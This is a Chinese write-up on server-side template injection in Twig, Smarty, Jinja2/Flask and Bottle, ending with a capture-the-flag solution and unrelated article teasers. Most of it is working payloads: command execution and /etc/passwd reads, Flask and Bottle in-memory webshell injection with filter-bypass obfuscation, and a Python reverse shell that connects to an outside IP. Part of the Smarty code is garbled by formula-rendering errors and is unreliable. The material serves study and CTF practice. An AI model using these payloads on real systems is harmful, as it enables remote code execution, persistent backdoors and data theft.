当前位置: 首页 > news >正文

SSTI记录

SSTI(Server-Side Template Injection,服务器段模板注入)
当前使用的一些框架,如python的flask、php的tp、java的spring,都采用成熟的MVC模式,用户的输入会先进入到Controller控制器,然后根据请求的类型和请求的指令发给对应的业务模型进行业务逻辑判断、数据库存储、再把结果返回给view视图层,经过模板渲染展示给用户。
漏洞成因就是服务器段接收用户恶意输入未经任何处理就将其视为web应用模板的一部分,在渲染的过程,执行了用户插入的恶意语句。
分类
PHP中的SSTI
twig、smarty、blade
Twig
简介及测试
Twig是Symfony的模板引擎。Twig使用一个加载器loader(Twig_Loader_Array)来定位模板,以及一个环境变量来environment(Twig_Environment)来存储配置信息。
其中,render()方法通过第一个参数载入模板,第二个参数中的变量来渲染模板。
//渲染内容用户不可控

<?php // 加载 Composer 的自动加载文件 require_once dirname(__FILE__) . '\vendor\autoload.php'; // 创建 Twig 环境,使用 ArrayLoader 定义模板 $loader = new \Twig\Loader\ArrayLoader(['index' => 'Hello {{name}}']); $twig = new \Twig\Environment($loader); // 渲染模板,将用户输入的 name 参数传入,设置默认值防止未定义错误 $output = $twig->render('index', array("name" => $_GET["name"] ?? '')); echo $output; ?>

//渲染内容用户可控

<?php require_once dirname(__FILE__) . '\vendor\autoload.php'; $loader = new \Twig\Loader\ArrayLoader(); $twig = new \Twig\Environment($loader); $template = $_GET['template'] ?? 'Hello {{name}}'; // 用户输入模板 $loader->setTemplate('test', $template); echo $twig->render('test', ['name' => $_GET['name'] ?? '']); ?>

当渲染内容用户可控时,可以进行xss和模板注入

判断方式
由于{#comment#}作为Twig模板引擎的默认注释形式,在前端输出的时候不会显示,因此可以利用这个来判断是否使用了Twig模板引擎
可以使用下面这个语句进行测试:Mic{# comment #}{{28}}OK,
这里要经过url编码成:Misc%7b%23comment%23%7d%7b%7b1
2%7d%7dx%7b%7b2*3%7d%7d

smarty
简介及测试
最流行的php模板之一,为不受信任的模板执行提供了安全模式。这个会强制执行在php安全函数白名单中的函数,因此无法直接调用php中直接执行命令的函数(相当于一个disable_function)
但是 s m a r t y 内置变量可以用于访问各种环境变量,例如使用 s e l f 得到 s m a r t y 这个类然后去找 s m a r t y 中可以使用的方法。例如: p u b l i c f u n c t i o n g e t S t r e a m V a r i a b l e ( smarty内置变量可以用于访问各种环境变量,例如使用self得到smarty这个类然后去找smarty中可以使用的方法。 例如: public function getStreamVariable( smarty内置变量可以用于访问各种环境变量,例如使用self得到smarty这个类然后去找smarty中可以使用的方法。例如:publicfunctiongetStreamVariable(variable)
{
$_result = ‘’;
f p = f o p e n ( fp = fopen( fp=fopen(variable, ‘r+’);
if (KaTeX parse error: Expected '}', got 'EOF' at end of input: … while (!feof(fp) && ( c u r r e n t l i n e = f g e t s ( current_line = fgets( currentline=fgets(fp)) !== false) {
$_result .= KaTeX parse error: Expected 'EOF', got '}' at position 27: …e; }̲ fc…fp);
return $_result;
}
s m a r t y = i s s e t ( smarty = isset( smarty=isset(this->smarty) ? $this->smarty : t h i s ; i f ( this; if ( this;if(smarty->error_unassigned) {
throw new SmartyException(‘Undefined stream variable "’ . KaTeX parse error: Expected 'EOF', got '}' at position 26: … '"'); }̲ else { …smarty.version}

#{php}{/php}代码执行
{php}phpinfo();{/php}

#借助{literal}标签,因为{literal}可以让一个模板区域的字符原样输出(只适合php5)

#利用getsrteamvariable获取传入变量的流(适合旧版本的Smarty)
{self::getStreamVariable(“file:///etc/passwd”)}

#{if}{/if}代码执行
{if phpinfo()}{/if} {if system(‘id’)}{/if}

python中的SSTI
Jinja2(flask的一部分)、tornado、Django、
Jinja2
jinja2以Django模板那为模型,是Flask框架的一部分。jinja2会把模板参数提供的相应的值替换成{{…}}块(一种特殊的占位符),告诉模板引擎这个位置的值从模板渲染时使用的数据。
jinja2能识别所有类型的变量,甚至一些复杂类型(列表、字典、对象)
JAVA中的SSTI
velocity、FreeMarker

绕过
长度限制
较短payload(48、47)
利用flask内置全局函数
{{url_for.globals.os.popen(‘whoami’).read()}}

{{lipsum.globals.os.popen(‘whoami’).read()}}
利用config变量更新(34字符以内)
config对象实质上是一个字典的子类,因此更新字典使用update()方法,可以不用set()
如果是使用flask,可以利用里面的config对象,通过多步变量更新,绕过lipsum.globals
这个长度最长为34个字符
{{config.update(c=config.update)}}
● config.update()方法用于更新config里面的键值对,整个就是给config复制update方法本身,用于动态创建变量
{{config.update(g=“globals”)}}
● 将config[“g”]赋值为__globals__
{{config.c(f=lipsum[config.g])}}
● lipsum[config.g]等价于lipsum[“globals”]
● config.c让config.f=lipsum.globals,存储全局变量
{{config.c(o=config.f.os)}}
● 将config.o赋值为lipsum.globals.os,即os模块
{{config.c(p=config.o.popen)}}
● 将config.p赋值为lipsum.globals.os.popen
{{config.p(“cat /f*”).read()}}
进行命令执行。
命令总结
{{config.update(c=config.update)}}
{{config.update(g=“globals”)}}
{{config.c(f=lipsum[config.g])}}
{{config.c(o=config.f.os)}}
{{config.c(p=config.o.popen)}}
{{config.p(“cat /f*”).read()}}

flask内存🐎
基础及测试
Flask框架在web应用模板渲染的过程中,利用render_template_string进行渲染,但是未对用户传输的代码进行过滤导致用户可以通过注入恶意代码注入内存马
本地测试demo
from flask import Flask, request, render_template_string

app = Flask(name)

@app.route(‘/’)
def hello_world(): # put application’s code here
person = ‘knave’
if request.args.get(‘name’):
person = request.args.get(‘name’)
template = ‘

Hi, %s.

’ % person
return render_template_string(template)

if name == ‘main’:
app.run()

原始Payload: 然后在shell目录通过对cmd传参进行rce
url_for.globals[‘builtins’][‘eval’](“app.add_url_rule(‘/shell’, ‘shell’, lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘cmd’, ‘whoami’)).read())”,{‘_request_ctx_stack’:url_for.globals[‘_request_ctx_stack’],‘app’:url_for.globals[‘current_app’]})
逐层分析:
url_for.globals[‘builtins’][‘eval’](
“app.add_url_rule(
‘/shell’,
‘shell’,
lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘cmd’, ‘whoami’)).read()
)”,
{
‘_request_ctx_stack’:url_for.globals[‘_request_ctx_stack’],
‘app’:url_for.globals[‘current_app’]
}
)
url_for是Flask的内置属性
globals__是python中函数对象的一个熟悉,表示函数定义所在的全局命名空间。该属性是一个字典,包含了函数定义时可见的全局变量和函数。能返回函数所在模块命名空间的所有变量
传入{{url_for.globals}}可以看到这里支持__builtins

在__builtins__模块中, Python在启动时就直接为我们导入了很多内建函数,如:eval exec等

由于存在危险函数,可以直接调用命令来执行操作 (windows弹计算器要用calc命令)
也是成功弹计算器了
{{url_for.globals[‘builtins’][‘eval’](“import(‘os’).system(‘open -a Calculator’)”)}}
“app.add_url_rule(
‘/shell’,
‘shell’,
lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘cmd’, ‘whoami’)).read()
)”
这一部分payload的作用是动态添加一条路由,其调用了add_url_rule函数来添加路由,处理该路由的函数是由lamba关键字定义的匿名函数
查看add_url_rule函数

rule: 函数对应的URL规则,必须以 / 开头
lamba匿名函数通过os库中的popen函数执行web请求中获取的cmd参数值并返回结果,参数值默认为whoami
{
‘_request_ctx_stack’:url_for.globals[‘_request_ctx_stack’],
‘app’:url_for.globals[‘current_app’]
}
这一段中_request_ctx_stack是Flask的一个全局变量,是一个LocalStack实例
Bypass绕过
url_for可替换成get_flashed_messages或request.__init__或request.application
eval可换成exec
关键字过滤可采用拼接: 如[‘builtins’][‘eval’]变为[‘bui’+'ltins’][‘ev’+‘al’]
[]可用.getitem()或.pop()替换.
过滤{{或者}}, 可以使用{%或者%}绕过, {%%}中间可以执行if语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果.
过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request[‘args’]或者request[‘values’]绕过.
过滤了.可以采用attr()或[]绕过
变形payload
request.application.self._get_data_for_json.getattribute(‘globa’+'ls’).getitem(‘bui’+'ltins’).getitem(‘ex’+‘ec’)(“app.add_url_rule(‘/h3rmesk1t’, ‘h3rmesk1t’, lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘shell’, ‘calc’)).read())”,{‘_request_ct’+‘x_stack’:get_flashed_messages.getattribute(‘globa’+'ls’).pop(‘request’+‘ctx_stack’),‘app’:get_flashed_messages.getattribute(‘globa’+'ls’).pop(‘curre’+‘nt_app’)})
get_flashed_messages|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fglobals\x5f\x5f”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“builtins”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“\u0065\u0076\u0061\u006c”)(“app.add_ur”+“l_rule(‘/h3rmesk1t’, ‘h3rmesk1t’, la”+“mbda :imp"+"ort('o”+“s’).po”+“pen(_request_c”+“tx_stack.to”+“p.re”+“quest.args.get(‘shell’)).re”+“ad())”,{‘\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b’:get_flashed_messages|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fglobals\x5f\x5f”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b”),‘app’:get_flashed_messages|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fglobals\x5f\x5f”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070”)})

bottle内存🐎
基础及测试
demo
from bottle import template, Bottle,request,error

app = Bottle()
@error(404)
@app.route(‘/shell’)
def index():
result = eval(request.params.get(‘cmd’))
return template(‘Hello {{result}}, how are you?’,result)
@app.route(‘/’)
def index():
return ‘Hello world’
if name == ‘main’:
app.run(host=‘0.0.0.0’, port=8888,debug=True)
首先在装饰器里面直接调用一个rout函数,可以看一下函数内容:
def route(self,path=None,method=‘GET’,callback=None,name=None,apply=None,skip=None, **config):
if callable(path): path, callback = None, path
plugins = makelist(apply)
skiplist = makelist(skip)
def decorator(callback):
if isinstance(callback, basestring): callback = load(callback)
for rule in makelist(path) or yieldroutes(callback):
for verb in makelist(method):
verb = verb.upper()
route = Route(self, rule, verb, callback,
name=name,
plugins=plugins,
skiplist=skiplist, **config)
self.add_route(route)
return callback
return decorator(callback) if callback else decorator
首先进行了一个判断,如果path是一个可调用的对象(例如一个函数),就交换path和callback的角色,将原本path的值赋给callback,并将path设置为None。下面的就是装饰器,专门用来接收callback参数,然后都是生成路由的规则。
最后进入add_route函数。
def add_route(self, route):
“”" Add a route object, but do not change the :data:Route.app
attribute.“”"
self.routes.append(route)
self.router.add(route.rule, route.method, route, name=route.name)
if DEBUG: route.prepare()
那么该如何利用callback函数呢,我们知道路由可以传入一个callback作为回调参数或是处理请求函数,在路由本身解析的过程中,它的本意是与用户自定义的一个函数进行绑定,那么如何通过不写一个完整的def情况下自定义一个函数呢?这里就用到了pyth自带的lambda表达式。
lambda表达式语法:
甚至还可以省略arguments函数,例如:lambda: print(666)
lambda arguments: expression
例如:执行下面这段poc
127.0.0.1:8888/shell?cmd=app.route(“/a”,“GET”,lambda :print(666))
然后访问/a路由,虽然发现是空白,但是在服务器端,成功执行了代码:

漏洞利用
思路(1)直接绑定路由
手动引入os执行命令
http://127.0.0.1:8888/shell?cmd=app.route(“/c”,“GET”,lambda :import(“os”).popen(‘whoami’).read())
接着访问/c路由,成功执行命令,并且有回显:

或者使用
http://127.0.0.1:8888/shell?cmd=app.route(“/c”,“GET”,lambda :import(‘os’).popen(request.params.get(‘a’)).read())
然后在/c路由下通过a参数进行命令执行也可以

思路(2)利用错误页面
有时候框架会自己定义报错页面,例如404、500等页面会有对应的输出,在bottle框架中会让我们自定义错误响应。
例如:

可以直接自定义一个新的404错误处理函数e,在页面报错404的时候进行命令执行。
http://127.0.0.1:8888/shell?cmd=app.error(404)(lambda e: import(‘os’).popen(request.query.get(‘a’)).read())
接着随便访问一个不存在的目录,然后利用参数a进行命令执行即可

思路(3)利用hook
hook相当于一个钩子,当程序执行的时候,hook挂在哪里就会执行哪里。
例如下面这些事件就会触发钩子。

例如这个增加钩子的函数,可以选择在执行钩子集合(上面那些)前面加钩子(insert(0,func)),也可以选择在后面加钩子(append(func))

这里以before_request为例(其他几个效果一样):
http://127.0.0.1:8888/shell?cmd=app.add_hook(“before_request”,lambda : print(4))
但是由于第一次访问只是注册了一个钩子,不会立即执行,第二次新的请求进来才会触发钩子,即这里执行第二个命令的时候才会执行前一个命令。(在服务器端回显)
但是这里还需要直接看到回显,这里利用的是响应头,想要控制响应头一定要关注response这个操作对象。
可以翻到这个类

再继续往下翻可以看到一个设置响应头的方法

有了这个可以设置键值对了,现在关键点是如何调用response对象
我们在使用bottle框架的时候内置的response对象,我们在import之后可以直接调用,也可以使用__imort__引入__import__(‘bottle’).response即可。
poc:
app.add_hook(‘before_request’, lambda: import(‘bottle’).response.set_header( ‘X-flag’, import(‘base64’).b64encode( import(‘os’).popen(request.query.get(‘a’, ‘echo No command provided’)).read().encode(‘utf-8’) ).decode(‘utf-8’) ))
然后在跟页面利用参数a执行命令,回显会在响应头中进行base64加密

还有一种利用bootle框架内的内置函数abort,不仅可以触发一个异常,而且第二个参数是我们可以控制在回显页面上的。

poc:
app.add_hook(‘before_request’, lambda: import(‘bottle’).abort(666,import(‘os’).popen(request.query.get(‘a’)).read()))
这里abort随便接一个不常见的端口号即可,然后以这个端口号为目录进行访问(随便访问一个目录好像也可以),利用a传参进行命令执行

题目练习
GHCTF Message in a Bottle
Bottle也是python的一个渲染框架。
from bottle import Bottle, request, template, run

app = Bottle()

存储留言的列表

messages = []
def handle_message(message):
message_items = “”.join([f"“”


{msg}

#{idx + 1} - 刚刚

“”" for idx, msg in enumerate(message)])

board = f"""留言板内容......"""
return board

def waf(message):
return message.replace(“{”, “”).replace(“}”, “”)

@app.route(‘/’)
def index():
return template(handle_message(messages))

@app.route(‘/Clean’)
def Clean():
global messages
messages = []
return ‘’

@app.route(‘/submit’, method=‘POST’)
def submit():
message = waf(request.forms.get(‘message’))
messages.append(message)
return template(handle_message(messages))

if name == ‘main’:
run(app, host=‘localhost’, port=9000)
看源码可以看到过滤了{和}

但是在官方文档中看到,可以使用%来嵌入一行代码,例如:
% result=5*5
可以使用<%和%>来嵌入代码块,例如:
<%
test
%>
方法一:
% (import(‘os’).popen(‘tac /flag >456.txt’).read())
执行没有回显,反弹shell没成功,使用include包含
% include(‘456.txt’)
方法二:
% import(‘os’).popen(“python3 -c ‘import os,pty,socket;s=socket.socket();s.connect((“111.xxx.xxx.xxx”,7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(“sh”)’”).read()
方法三:
% from bottle import Bottle, request
% app=import(‘sys’).modules[‘main’].dict[‘app’]
% app.route(“/shell”,“GET”,lambda :import(‘os’).popen(request.params.get(‘lalala’)).read())

相关文章:

SSTI记录

SSTI(Server-Side Template Injection&#xff0c;服务器段模板注入) 当前使用的一些框架&#xff0c;如python的flask、php的tp、java的spring&#xff0c;都采用成熟的MVC模式&#xff0c;用户的输入会先进入到Controller控制器&#xff0c;然后根据请求的类型和请求的指令发…...

Go语言爬虫系列教程(一) 爬虫基础入门

Go爬虫基础入门 1. 网络爬虫概念介绍 1.1 什么是网络爬虫 网络爬虫&#xff08;Web Crawler&#xff09;&#xff0c;又称网页蜘蛛、网络机器人&#xff0c;是一种按照一定规则自动抓取互联网信息的程序或脚本。其核心功能是模拟人类浏览网页的行为&#xff0c;通过发送网络…...

c/c++爬虫总结

GitHub 开源 C/C 网页爬虫探究&#xff1a;协议、实现与测试 网页爬虫&#xff0c;作为一种自动化获取网络信息的强大工具&#xff0c;在搜索引擎、数据挖掘、市场分析等领域扮演着至关重要的角色。对于希望深入理解网络工作原理和数据提取技术的 C/C 开发者&#xff0c;尤其是…...

【HarmonyOS 5】鸿蒙碰一碰分享功能开发指南

【HarmonyOS 5】鸿蒙碰一碰分享功能开发指南 一、前言 碰一碰分享的定义 在 HarmonyOS NEXT 系统中&#xff0c;华为分享推出的碰一碰分享功能&#xff0c;为用户带来了便捷高效的跨端分享体验。开发者通过简单的代码实现&#xff0c;就能调用系统 API 拉起分享卡片模板&…...

vue H5解决安卓手机软键盘弹出,页面高度被顶起

开发中安卓机上遇到的软键盘弹出导致布局问题 直接上代码_ 在这里插入代码片 <div class"container"><div class"appContainer" :style"{height:isKeyboardOpen? Heights :inherit}"><p class"name"><!-- 绑定…...

【pypi镜像源】使用devpi实现python镜像源代理(缓存加速,私有仓库,版本控制)

【pypi镜像源】使用devpi实现python镜像源代理&#xff08;缓存加速&#xff0c;私有仓库&#xff0c;版本控制&#xff09; 文章目录 1、背景与目标2、devpi-server 服务端搭建3、devpi 镜像源使用 1、背景与目标 背景1&#xff08;访问速度优化&#xff09;&#xff1a; 直…...

Spring Bean有哪几种配置方式?

大家好&#xff0c;我是锋哥。今天分享关于【Spring Bean有哪几种配置方式&#xff1f;】面试题。希望对大家有帮助&#xff1b; Spring Bean有哪几种配置方式&#xff1f; 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Spring Bean的配置方式主要有三种&#xff…...

无人机信号线被电磁干扰导致停机

问题描述&#xff1a; 无人机飞控和电调之间使用PWM信号控制时候&#xff0c;无人机可以正常起飞&#xff0c;但是在空中悬停的时候会出现某一个电机停机&#xff0c;经排查电调没有启动过流过压等保护&#xff0c;定位到电调和飞控之间的信号线被干扰问题。 信号线被干扰&am…...

RWA开发全解析:技术架构、合规路径与未来趋势

RWA开发全解析&#xff1a;技术架构、合规路径与未来趋势 ——2025年真实世界资产代币化的创新逻辑与实践指南 一、RWA的核心定义与爆发逻辑 1. 什么是RWA&#xff1f; RWA&#xff08;Real World Asset Tokenization&#xff09;是通过区块链技术将现实资产&#xff08;房地…...

消息队列作用及RocketMQ详解(1)

目录 1 什么是消息队列 2 为什么要使用消息队列 2.1 异步处理 2.2 解耦 2.3 削峰填谷 3. 如何选择消息队列&#xff1f; 4. RocketMQ 4.1 生产者 4.2 消费者 4.3 主题 4.4 NameSever 4.5 Broker 5. 生产者发送消息 5.1 普通消息发送 5.1.1 同步发送 5.1.2 异步发送 5…...

DICOM 网络服务实现:医学影像传输与管理的技术实践

🧑 博主简介:CSDN博客专家、CSDN平台优质创作者,高级开发工程师,数学专业,10年以上C/C++, C#, Java等多种编程语言开发经验,拥有高级工程师证书;擅长C/C++、C#等开发语言,熟悉Java常用开发技术,能熟练应用常用数据库SQL server,Oracle,mysql,postgresql等进行开发应用…...

恰到好处TDR

了解我的人都知道我喜欢那些从 1 到 10 到 11 的东西。对于那里的年轻人&#xff0c;参见 Spinal Tap&#xff0c;1984 年。但是有没有把它调得太高这样的事情呢&#xff1f;我收到并回答了很多关于使用时域反射仪 &#xff08;TDR&#xff09; 进行测量的问题。 我需要多少带宽…...

kubernetes服务自动伸缩-VPA

实验环境 安装好k8s集群 一、准备工作 1、部署Metrics Server VPA 依赖 Metrics Server 来获取 Pod 的资源使用数据。首先需要部署 Metrics Server 下载地址&#xff08;需要连接VPN&#xff09;&#xff1a;wget https://github.com/kubernetes-sigs/metrics-server/relea…...

stm32之BKP备份寄存器和RTC时钟

目录 1.时间戳1.1 Unix时间戳1.2 UTC/GMT1.3 时间戳转换**1.** time_t time(time_t*)**2.** struct tm* gmtime(const time_t*)**3.** struct tm* localtime(const time_t*)**4.** time_t mktime(struct tm*)**5.** char* ctime(const time_t*)**6.** char* asctime(const stru…...

OSCP - Hack The Box - Sau

主要知识点 CVE-2023-27163漏洞利用systemd提权 具体步骤 执行nmap扫描&#xff0c;可以先看一下55555端口 Nmap scan report for 10.10.11.224 Host is up (0.58s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp o…...

C++色彩博弈的史诗:红黑树

文章目录 1.红黑树的概念2.红黑树的结构3.红黑树的插入4.红黑树的删除5.红黑树与AVL树的比较6.红黑树的验证希望读者们多多三连支持小编会继续更新你们的鼓励就是我前进的动力&#xff01; 红黑树是一种自平衡二叉查找树&#xff0c;每个节点都带有颜色属性&#xff0c;颜色或为…...

14.three官方示例+编辑器+AI快速学习webgl_buffergeometry_instancing_interleaved

本实例主要讲解内容 这个Three.js示例展示了如何结合使用索引几何体、GPU实例化和交错缓冲区来高效渲染大量相同模型的不同实例。通过这种技术组合&#xff0c;我们可以在保持较低内存占用的同时渲染数千个独立变换的对象。 核心技术包括&#xff1a; 索引几何体的实例化渲染…...

「华为」人形机器人赛道投资首秀!

温馨提示&#xff1a;运营团队2025年最新原创报告&#xff08;共210页&#xff09; —— 正文&#xff1a; 近日&#xff0c;【华为】完成具身智能赛道投资首秀&#xff0c;继续加码人形机器人赛道布局。 2025年3月31日&#xff0c;具身智能机器人头部创企【千寻智能&#x…...

GitHub 趋势日报 (2025年05月11日)

本日报由 TrendForge 系统生成 https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日整体趋势 Top 10 排名项目名称项目描述今日获星总星数语言1harry0703/MoneyPrinterTurbo利用ai大模型&#xff0c;一键生成高清短视频使用…...

MySQL查询优化100条军规

概述 以下是MySQL查询优化的关键军规&#xff0c;分为不同类别&#xff0c;帮助您系统化提升数据库性能资料已经分类整理好&#xff0c;喜欢的朋友自取&#xff1a;https://pan.quark.cn/s/f52968c518d3 一、索引优化 为WHERE、JOIN、ORDER BY字段建索引联合索引遵循最左前缀…...

WEBSTORM前端 —— 第3章:移动 Web —— 第1节:平面转换、渐变

目录 一.平面转换 二.平面转换 – 平移 ①属性 ②取值 ③技巧 三.平移实现居中效果 四.案例——双开门效果 五.平面转换 – 旋转 ①属性 ②技巧 六.平面转换 – 改变转换原点 ①属性 ②取值 七.案例-时钟 八.平面转换 – 多重转换 九.平面转换 – 缩放 ①属性 …...

1.10-数据传输格式

1.10-数据传输格式 在对网站进行渗透测试时&#xff0c;使用目标服务器规定的数据传输格式来进行 payload 测试非常关键 如果不按规定格式发送数据&#xff0c;服务器可能直接拒绝请求或返回错误响应&#xff0c;比如&#xff1a; 接口要求 JSON 格式&#xff0c;而你用的是…...

Python制作Dashboard【待续】

运行环境&#xff1a;jupyter notebook (python 3.12.7)...

物理:海市蜃楼是宇宙背景辐射吗?

宇宙背景辐射(特别是宇宙微波背景辐射,CMB)与海市蜃楼是两种完全不同的现象,它们的物理机制、来源和科学意义截然不同。以下是详细的解释: 1. 宇宙微波背景辐射(CMB)的本质 起源:CMB是大爆炸理论的关键证据之一。它形成于宇宙诞生后约38万年(即“最后散射时期”),当…...

联想 SR550 服务器,配置 RAID 5教程!

今天的任务&#xff0c;是帮客户的一台联想Lenovo thinksystem x SR550 服务器&#xff0c;配置RAID 5&#xff0c;并安装windows server 2019操作系统。那么依然是按照我的个人传统&#xff0c;顺便做一个教程&#xff0c;分享给有需要的粉丝们。 第一步&#xff0c;服务器开机…...

Docker-配置私有仓库(Harbor)

配置私有仓库&#xff08;Harbor&#xff09; 一、环境准备安装 Docker 三、安装docker-compose四、准备Harbor五、配置证书六、部署配置Harbor七、配置启动服务八、定制本地仓库九、测试本地仓库 Harbor(港湾)&#xff0c;是一个用于 存储 和 分发 Docker 镜像的企业级 Regi…...

1.5 连续性与导数

一、连续性的底层逻辑&#xff08;前因&#xff09; 为什么需要研究连续性&#xff1f; 数学家在研究函数图像时发现两类现象&#xff1a;有些函数能用一笔画完不断开&#xff08;如抛物线&#xff09;&#xff0c;有些则会出现"断崖"“跳跃"或"无底洞”&a…...

Day22打卡-复习

复习日 仔细回顾一下之前21天的内容&#xff0c;没跟上进度的同学补一下进度。 作业&#xff1a; 自行学习参考如何使用kaggle平台&#xff0c;写下使用注意点&#xff0c;并对下述比赛提交代码 泰坦尼克号人员生还预测https://www.kaggle.com/competitions/titanic/overview K…...

配置Hadoop集群环境准备

&#xff08;一&#xff09;Hadoop的运行模式 一共有三种&#xff1a; 本地运行。伪分布式完全分布式 &#xff08;二&#xff09;Hadoop的完全分布式运行 要模拟这个功能&#xff0c;我们需要做好如下的准备。 1&#xff09;准备3台客户机&#xff08;关闭防火墙、静态IP、…...

HTTPS全解析:从证书签发到TLS握手优化

HTTPS&#xff08;超文本传输安全协议 本质上是HTTP的安全版本。标准的HTTP协议仅规范了客户端与服务器之间的通信格式&#xff0c;但所有数据传输都是明文的&#xff0c;容易被中间人窃听和篡改。HTTPS通过加密传输数据解决了这一安全问题。 HTTPS可以理解为"HTTPTLS/SS…...

#将一个 .c 文件转变为可直接运行的文件过程及原理

将一个 .c 文件&#xff08;C语言源代码&#xff09;转变为可直接运行的可执行文件&#xff0c;涉及从源代码到机器码的编译和链接过程。以下是详细的过程与原理&#xff0c;分为步骤说明&#xff1a; 一、总体流程 .c 文件到可执行文件的过程通常包括以下几个阶段&#xff1a…...

【软件学习】GeneMiner 2:系统发育基因组学的一体化全流程分析工具

【软件学习】GeneMiner 2—— 系统发育基因组学的一体化全流程分析工具 文章目录 【软件学习】GeneMiner 2—— 系统发育基因组学的一体化全流程分析工具前言一、软件了解二、软件安装三、软件使用示例演示3.1 快速掌握使用方法3.2 获取质体基因组和质体基因3.3 单拷贝基因建树…...

聊一聊AI对接口测试的潜在影响有哪些?

目录 一、 自动化测试用例生成 二、 缺陷预测与根因分析 三、自适应测试维护 四、实时监控与自适应优化 五、 性能与安全测试增强 六、测试结果分析与报告 七、持续测试与DevOps集成 八、挑战与局限性 九、未来趋势 使用AI可以自动化测试用例生成、异常检测、结果分析…...

wordcount在mapreduce的例子

1.启动集群 2.创建项目 项目结构为&#xff1a; 3.pom.xml文件为 <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/4.0.0 http://mave…...

CSS3 遮罩

在网页设计中&#xff0c;我们经常需要实现一些特殊的视觉效果来增强用户体验。CSS3 遮罩&#xff08;mask&#xff09;允许我们通过控制元素的可见区域来创建各种精美的视觉效果。本文将带你全面了解 CSS3 遮罩的功能和应用。 什么是 CSS3 遮罩&#xff1f; CSS3 遮罩是一种…...

HTTP协议解析:Session/Cookie机制与HTTPS加密体系的技术演进(一)

一.HTTP协议 我们上篇文章已经提到了对于自定义协议的序列化与反序列化。那么有没有什么比较成熟的&#xff0c;大佬们写的应用层协议&#xff0c;供我们参考使用呢?HTTP(超文本传输协议)就是其中之一。 在互联网世界中&#xff0c; HTTP&#xff08;HyperText Transfer Prot…...

Matlab 234-锂电池充放电仿真

1、内容简介 Matlab 234-锂电池充放电仿真 可以交流、咨询、答疑 2、内容说明 略 锂离子电池已经广泛应用于我国目前电子产品市场&#xff0c;当下手机市场和新能源市场对于锂离子电池的大量需求&#xff0c;推动了锂离子电池的发展&#xff0c;我国已经成为世界上锂离子电池…...

std::move 和 std::forward

关联点 都是执行转换(cast)的函数&#xff08;函数模板&#xff09;&#xff0c;不产生任何可执行代码。且都可以把实参转换成右值。 std::move无条件将实参&#xff08;const除外 &#xff09;转换成右值引用&#xff0c;std::forward 条件返回右值引用 _EXPORT_STD template…...

工业协议跨界实录:零基础玩转PROFINET转EtherCAT主站智能网关

工业自动化领域的金字塔就是工业通信行业&#xff0c;用的最多的便是协议转换模块&#xff0c;通俗来说&#xff0c;网关就像一个“语言翻译器”&#xff0c;能把一种通信语言转换成另一种&#xff0c;满足实际通信需求&#xff0c;还能保护投资。PROFINET 转EtherCAT 网关WL-P…...

开源链动2+1模式AI智能名片S2B2C商城小程序赋能新微商服务能力升级研究

摘要&#xff1a;本文聚焦新微商服务能力升级路径&#xff0c;探讨开源链动21模式、AI智能名片与S2B2C商城小程序在重构培训体系、激励机制及用户服务中的协同作用。研究显示&#xff0c;新微商通过“技术赋能-机制创新-服务深化”三维变革&#xff0c;将传统微商的“产品压货”…...

vue3配置element-ui的使用

今天阐述一下如何在vue中进行配置使用element-ui&#xff1b; 一&#xff0c;配置下载Element 1.首页在电脑上下载好vue&#xff0c;以及npm&#xff0c;可以去相关的官方进行下载。 2.进行配置命令 npm install element-plus --save如报错&#xff1a; npm error code ERE…...

39-绘制渐变的文字

39-绘制渐变的文字_哔哩哔哩_bilibili39-绘制渐变的文字是一次性学会 Canvas 动画绘图&#xff08;核心精讲50个案例&#xff09;2023最新教程的第40集视频&#xff0c;该合集共计53集&#xff0c;视频收藏或关注UP主&#xff0c;及时了解更多相关视频内容。https://www.bilibi…...

HBase进阶之路:从原理到实战的深度探索

目录 一、HBase 核心概念再梳理 1.1 RowKey 1.2 Column Family 1.3 Region 二、架构与运行机制剖析 2.1 架构组件详解 2.1.1 Client 2.1.2 Zookeeper 2.1.3 Master 2.1.4 RegionServer 2.1.5 HDFS 2.2 数据读写流程深度解析 2.2.1 数据写入流程 2.2.2 数据读取流…...

使用 AddressSanitizer 检测栈内存越界错误

一、概述 在 C/C 编程中&#xff0c;栈内存越界 是一种常见而危险的内存错误&#xff0c;通常发生在局部变量数组被访问时索引越界。由于栈空间的结构特点&#xff0c;越界写入可能覆盖返回地址或其他局部变量&#xff0c;导致不可预测的行为甚至程序崩溃。传统的调试手段难以定…...

【技巧】离线安装docker镜像的方法

